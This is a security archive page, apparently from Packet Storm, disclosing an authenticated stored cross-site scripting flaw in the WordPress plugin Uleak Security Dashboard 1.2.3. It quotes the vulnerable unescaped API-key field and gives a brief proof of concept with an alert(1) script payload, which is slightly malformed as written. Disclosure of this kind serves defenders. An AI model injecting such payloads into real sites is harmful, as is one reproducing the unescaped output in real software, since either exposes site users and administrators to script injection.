WordPress Uleak Security Dashboard 1.2.3 Cross Site Scripting

Authored by Hassan Khan Yusufzai   Posted Apr 1, 2022

WordPress Uleak Security Dashboard plugin version 1.2.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 0fdb6aa94c702076155898419bd6a1e2a1ac21094f5bba9733abc38551a56754   **Download** | **Favorite** | **View**

Related Files

Share This

Like 0   Tweet   LinkedIn   Reddit   Digg   StumbleUpon

Change Mirror   Download

```
# Exploit Title: WordPress Plugin uleak-security-dashboard 1.2.3 - Stored Cross-Site Scripting (Authenticated)
# Date: 31-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/uleak-security-dashboard/
<https://wordpress.org/plugins/amministrazione-aperta/>
# Version: 1.2.3
# Tested on: Firefox
# Contact me: h [at] spidersilk.com

# Vulnerable Code:

```
<th scope="row"><label>ULeak API Key*: </label></th>
<td><input type="text" name="ul_apikey" placeholder="XXXXXXXXXXX"
value="'.$user['apikey'].'"><span class="description">(Insert your ULeak
API Key. Find your Credentials in your profil settings <a target="_blank"
href="https://uleak.de/profil">here</a>)</span></td>
```

POC

1) Install uleak-security-dashboard WordPress Plugin
2) Naviagete to http://localhost/wp-admin/tools.php?page=uleak
3) Inject payload ```">>script>alert(1)</script>```
in *ULeak API Key*: *filed.
4) XSS will trigger.

POC Image

https://prnt.sc/D7sq6IlNtNaf
```

Login or Register to add favorites

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files

Ubuntu 52 files

Gentoo 44 files

Debian 27 files

Apple 25 files

Google Security Research 14 files

malvuln 10 files

nu11secur1ty 6 files

mjurczyk 4 files

George Tsimpidas 3 files

File Tags

ActiveX (932)

Advisory (79,557)

Arbitrary (15,643)

BBS (2,859)

Bypass (1,615)

CGI (1,015)

Code Execution (6,913)

Conference (672)

Cracker (840)

CSRF (3,288)

DoS (22,541)

Encryption (2,349)

Exploit (50,293)

File Inclusion (4,162)

File Upload (946)

Firewall (821)

Info Disclosure (2,656)

File Archives

November 2022

October 2022

September 2022

August 2022

July 2022

June 2022

May 2022

April 2022

March 2022

February 2022

January 2022

December 2021

Older

Systems

AIX (426)

Apple (1,926)

Intrusion Detection (866)   BSD (370)
Java (2,888)   CentOS (55)
JavaScript (817)   Cisco (1,917)
Kernel (6,255)   Debian (6,620)
Local (14,173)   Fedora (1,690)
Magazine (586)   FreeBSD (1,242)
Overflow (12,390)   Gentoo (4,272)
Perl (1,417)   HPUX (878)
PHP (5,087)   iOS (330)
Proof of Concept (2,290)   iPhone (108)
Protocol (3,426)   IRIX (220)
Python (1,449)   Juniper (67)
Remote (30,009)   Linux (44,118)
Root (3,496)   Mac OS X (684)
Ruby (594)   Mandriva (3,105)
Scanner (1,631)   NetBSD (255)
Security Tool (7,768)   OpenBSD (479)
Shell (3,098)   RedHat (12,339)
Shellcode (1,204)   Slackware (941)
Sniffer (885)   Solaris (1,607)
Spoof (2,165)   SUSE (1,444)
SQL Injection (16,089)   Ubuntu (8,147)
TCP (2,377)   UNIX (9,150)
Trojan (685)   UnixWare (185)
UDP (875)   Windows (6,504)
Virus (661)   Other
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed

packet storm